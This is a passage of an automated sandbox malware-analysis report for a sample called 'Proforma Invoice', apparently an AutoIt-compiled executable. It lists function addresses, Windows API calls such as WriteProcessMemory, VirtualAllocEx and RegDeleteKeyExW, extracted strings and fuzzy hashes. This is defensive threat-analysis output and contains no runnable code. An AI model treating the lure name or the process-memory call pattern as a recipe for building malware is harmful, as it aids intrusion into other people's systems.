Part of subcall function 006C0DB6: __CxxThrowException@8.LIBCMT ref: 006C0E01

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Part of subcall function 006A7A51: _memmove.LIBCMT ref: 006A7AAB

__swprintf.LIBCMT ref: 006B2ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 006B2D66

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 8fe7a177d186e5cbb65bcbd61644cccce9d838afecdc23daddc6be3ca42f2614
Instruction ID: 494f6ec6dbc13262f083ff2865246cc404a4e9501daf67e08c43b656b2468dfc
Opcode Fuzzy Hash: 8fe7a177d186e5cbb65bcbd61644cccce9d838afecdc23daddc6be3ca42f2614
Instruction Fuzzy Hash: C6917A711183029FC754FF24C895DAFB7EAEF96350F00491EF4869B2A1EA20ED45CB66

Function 0070B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 006A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006A4743,?,?,006A37AE,?), ref: 006A4770

CoInitialize.OLE32(00000000), ref: 0070B9BB
CoCreateInstance.OLE32(00732D6C,00000000,00000001,00732BDC,?), ref: 0070B9D4
CoUninitialize.OLE32 ref: 0070B9F1

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

Strings

.lnk, xrefs: 0070B99D, 0070B9AB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: e9924beea13323ce59e98473b8da6af32a198cad846e47de38c501193a59dbd7
Instruction ID: e08a5c3addc87a0aad11f88ca4dcf0da1b827bb2e1837f16696e8dcbd77e8827
Opcode Fuzzy Hash: e9924beea13323ce59e98473b8da6af32a198cad846e47de38c501193a59dbd7
Instruction Fuzzy Hash: 01A126756042059FC710EF24C884D6AB7E6FF8A314F148A5CF8999B3A2CB35ED46CB91

Function 006FB2F3 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 006FB4BE

Strings

%s, xrefs: 006FB561
AutoIt3GUI, xrefs: 006FB436
Container, xrefs: 006FB43B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%s
API String ID: 3565006973-997058768
Opcode ID: c90f3fc06e85ccfd933d5e93fc284a61e1115d4a4866e62a2ca287bdb8df4462
Instruction ID: 2f4aa7f3a3cd38efbbc37504b332990afa408c6615a91a5e3aa96e824fa51619
Opcode Fuzzy Hash: c90f3fc06e85ccfd933d5e93fc284a61e1115d4a4866e62a2ca287bdb8df4462
Instruction Fuzzy Hash: 2C915971200605AFDB54DF68C884BAAB7EAFF49700F20946DFA4ACB391DB74E841CB50

Function 006C501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 006C50AD

Part of subcall function 006D00F0: __87except.LIBCMT ref: 006D012B

Strings

pow, xrefs: 006C5085, 006C50A2

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 6c272330ce17c6dbd2d11f6a58ff68e915f555923afa92efed9beedce7491539
Instruction ID: 20e4e8272aa720beb41af0fa4b7981818b050df32f48575e7c06f6a871951507
Opcode Fuzzy Hash: 6c272330ce17c6dbd2d11f6a58ff68e915f555923afa92efed9beedce7491539
Instruction Fuzzy Hash: 65514B71E0960196FB157714CC057FE2B97EB40700F24895EE4D7C6399EE389EC4DA8A

Function 006E8584 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006E862B
_memmove.LIBCMT ref: 006E8685

Strings

3ck, xrefs: 006E860C
_k, xrefs: 006E86FF, 006EDFDC, 006EDFF8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove
String ID: 3ck$_k
API String ID: 4104443479-2131593748
Opcode ID: c544ed40e77460065e0e2b7f2354d5f9fd6b0d423b805f2fc940b64e570a51fd
Instruction ID: d7a191b7320d435cce64450e71db8d20039e97f78dc4554edc81e0b2d2ac3746
Opcode Fuzzy Hash: c544ed40e77460065e0e2b7f2354d5f9fd6b0d423b805f2fc940b64e570a51fd
Instruction Fuzzy Hash: 1E518DB0901645DFCB60CF69C880AEEB7B2FF44304F24852AE85AD7351EB35A996CB51

Function 006F97F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007014BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006F9296,?,?,00000034,00000800,?,00000034), ref: 007014E6

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 006F983F

Part of subcall function 00701487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006F92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 007014B1

Part of subcall function 007013DE: GetWindowThreadProcessId.USER32(?,?), ref: 00701409
Part of subcall function 007013DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,006F925A,00000034,?,?,00001004,00000000,00000000), ref: 00701419
Part of subcall function 007013DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,006F925A,00000034,?,?,00001004,00000000,00000000), ref: 0070142F

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006F98AC
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006F98F9

Strings

@, xrefs: 006F9911

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 03009f9618b1564c4423d90880c228bba500410bfb53c348c247aacc51ed9610
Instruction ID: 25a3cfcf7bb2d9e0d3e60b8fb4afaea8698e50e9c2dcf200f3f5fda4fa860574
Opcode Fuzzy Hash: 03009f9618b1564c4423d90880c228bba500410bfb53c348c247aacc51ed9610
Instruction Fuzzy Hash: 3641307690011CEFDB10DFA4CC85EEEBBB8EB05300F144159FA55B7291DA756E45CBA0

Function 00727946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0072F910,00000000,?,?,?,?), ref: 007279DF
GetWindowLongW.USER32 ref: 007279FC
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00727A0C

Strings

SysTreeView32, xrefs: 007279B1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 8b36ac0bb1a39ed817d675394f8fb82059d91113913ceedb858483d43e1b3133
Instruction ID: 89d174b02b68b314628141d4cbdd89d603135d201d22c8c71c48753fd9936a36
Opcode Fuzzy Hash: 8b36ac0bb1a39ed817d675394f8fb82059d91113913ceedb858483d43e1b3133
Instruction Fuzzy Hash: E231C071204616ABDB159E38DC45BEA77A9FB05334F208729F8B5A21E0D738ED91CB50

Function 007273D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00727461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00727475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00727499

Strings

SysMonthCal32, xrefs: 0072742C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 9c72b973f5b146f06a08ebab83f560a1ba0a14c438f564da2d7f12555800bd40
Instruction ID: 1d91123da434cfa1d181ba244fc482b73df8a81e184d95f41e6721dcf1f6be8d
Opcode Fuzzy Hash: 9c72b973f5b146f06a08ebab83f560a1ba0a14c438f564da2d7f12555800bd40
Instruction Fuzzy Hash: 0C21F332500228ABDF159F94DC46FEA3B79EF48724F110214FE156B1D0DAB9AC51CBA0

Function 00727B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00727C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00727C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00727C5F

Strings

msctls_updown32, xrefs: 00727BC4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: f5e992ae9a71bf2202a4ff40633e5ff751eea4c060ba91ee8fb822dfeadac876
Instruction ID: 24b68280b0ff7490332eb1f8e2262a736972f73b3a3f272eadbd64002a4870cf
Opcode Fuzzy Hash: f5e992ae9a71bf2202a4ff40633e5ff751eea4c060ba91ee8fb822dfeadac876
Instruction Fuzzy Hash: EB2189B1604219AFDB11DF28ECC1CA637ADEF4A354B104019FA019B3A1CB75EC51CAA0

Function 00726CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00726D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00726D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00726D70

Strings

Listbox, xrefs: 00726D08

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: e13d06568c1131a1fd0b22960641f8fae5e37e4cf39e64177d0fa72450244d31
Instruction ID: 8589c70f722b8ee30fefe59fd7a59addc83b60f8bc269f422b0f2d10d7bbe40f
Opcode Fuzzy Hash: e13d06568c1131a1fd0b22960641f8fae5e37e4cf39e64177d0fa72450244d31
Instruction Fuzzy Hash: DF21A432700128BFDF119F54EC45FBB3BBAEF89750F018129FA459B1A0C675AC519BA0

Function 007139E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00713A66

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Strings

%s, xrefs: 007139F4
, $, xrefs: 00713AA6
AUTOITCALLVARIABLE%d, xrefs: 00713A58

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%s
API String ID: 3506404897-429644846
Opcode ID: 9204d2a81cdd917d42e180f7fb4dfebc19f179acae79b3b6df302b601c3dd284
Instruction ID: 51c7c8852b8de83d899901f9dac08d3801fa35d5f431f1d1baaa3b72953690c5
Opcode Fuzzy Hash: 9204d2a81cdd917d42e180f7fb4dfebc19f179acae79b3b6df302b601c3dd284
Instruction Fuzzy Hash: 6921AE70600218AFCF50EF68CC82AEE77B6AF45710F404458F905BB182DA38EA45CB69

Function 0072770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00727772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00727787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00727794

Strings

msctls_trackbar32, xrefs: 00727749

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a1699eed3fe14f135b42e2f0ac8ec37e14006d7e91e5ce1703baacba8ba13aa7
Instruction ID: 25cacbef9c092bb51e7bc2c686854f927f0ff66b11b0b7797943ff2a018752e1
Opcode Fuzzy Hash: a1699eed3fe14f135b42e2f0ac8ec37e14006d7e91e5ce1703baacba8ba13aa7
Instruction Fuzzy Hash: 5D113672200208BFEF245F71DC05FEB77A9EF89B54F01412CFA41A6190C276E811CB20

Function 006C6B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 006C6B93
__calloc_crt.LIBCMT ref: 006C6BAC

Strings

@Bv, xrefs: 006C6BC3
u, xrefs: 006C6BD1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __calloc_crt
String ID: u$@Bv
API String ID: 3494438863-1538309562
Opcode ID: 06e9916c9dd15b689070d298c7af8e8a256cc61c17542185ff58cc7d3ab55056
Instruction ID: d9362e36c73ae94cce25d5ca2a552fe265701bb1119dbddca2603aca7f256403
Opcode Fuzzy Hash: 06e9916c9dd15b689070d298c7af8e8a256cc61c17542185ff58cc7d3ab55056
Instruction Fuzzy Hash: F2F081B12047129EE7649F14FC61FB62796F714320F10402EF506CE290EBA88C45969C

Function 006C9B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 006C9B94

Part of subcall function 006C9C0B: __mtinitlocknum.LIBCMT ref: 006C9C1D
Part of subcall function 006C9C0B: EnterCriticalSection.KERNEL32(00000000,?,006C9A7C,0000000D), ref: 006C9C36

__updatetlocinfoEx_nolock.LIBCMT ref: 006C9BA4

Part of subcall function 006C9100: ___addlocaleref.LIBCMT ref: 006C911C
Part of subcall function 006C9100: ___removelocaleref.LIBCMT ref: 006C9127
Part of subcall function 006C9100: ___freetlocinfo.LIBCMT ref: 006C913B

Strings

8u, xrefs: 006C9B8A, 006C9B9F, 006C9BAB
8u, xrefs: 006C9B85

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: 8u$8u
API String ID: 547918592-1741649821
Opcode ID: ed1145297555db71435b9544f83ad0abbb5872334f0e28faa8fa715ce462e781
Instruction ID: 9d138640752835f2839c6de3eb96c4ea9dd2f6e39fe5031a77dbe791b108ae2a
Opcode Fuzzy Hash: ed1145297555db71435b9544f83ad0abbb5872334f0e28faa8fa715ce462e781
Instruction Fuzzy Hash: EAE026F1843308F9E7A4B7A4280BFAD2661DB04723F20115DF000120C1CDF80A00812F

Function 006A4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,006A4B83,?), ref: 006A4C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 006A4C56

Strings

kernel32.dll, xrefs: 006A4C3F
Wow64RevertWow64FsRedirection, xrefs: 006A4C50

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f25408e7bd4e4b5df566c32763d8fbd3040fb1229988ad10f5ee297d068b9b24
Instruction ID: c52fa9573a8c36a4af172bb84b9ca560477f1219cbe5e181da44404ee4f980b6
Opcode Fuzzy Hash: f25408e7bd4e4b5df566c32763d8fbd3040fb1229988ad10f5ee297d068b9b24
Instruction Fuzzy Hash: F0D05B70551713CFD7305F31DD0864677F6AF05751B51C83DD496D6260EBB8D890CA51

Function 006A4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,006A4BD0,?,006A4DEF,?,007652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 006A4C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 006A4C23

Strings

kernel32.dll, xrefs: 006A4C0C
Wow64DisableWow64FsRedirection, xrefs: 006A4C1D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 6ce987bd4b289202b0b822699254bdb72eefbd7edb2b76e2d3c1f5dd41a00153
Instruction ID: 5f6a6858d604edb6acdd6a43721750a56c9f61a402f1ecd37ce909dbdaccd15b
Opcode Fuzzy Hash: 6ce987bd4b289202b0b822699254bdb72eefbd7edb2b76e2d3c1f5dd41a00153
Instruction Fuzzy Hash: 88D08C70501712CFC7206B70D908246B6E6AF09352B00C839D486C2250EAB8D880CA10

Function 00720DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00721039), ref: 00720DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00720E07

Strings

RegDeleteKeyExW, xrefs: 00720E01
advapi32.dll, xrefs: 00720DF0

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 5235bf1fc32d3ba97bedc50805b52e5fc7cc02bf7b04840ba117378ec6267c4c
Instruction ID: 4c99401d7b1b7a6cf9d930b2ae385b8c6a23a2190d9bf45566107c69e76cfdd5
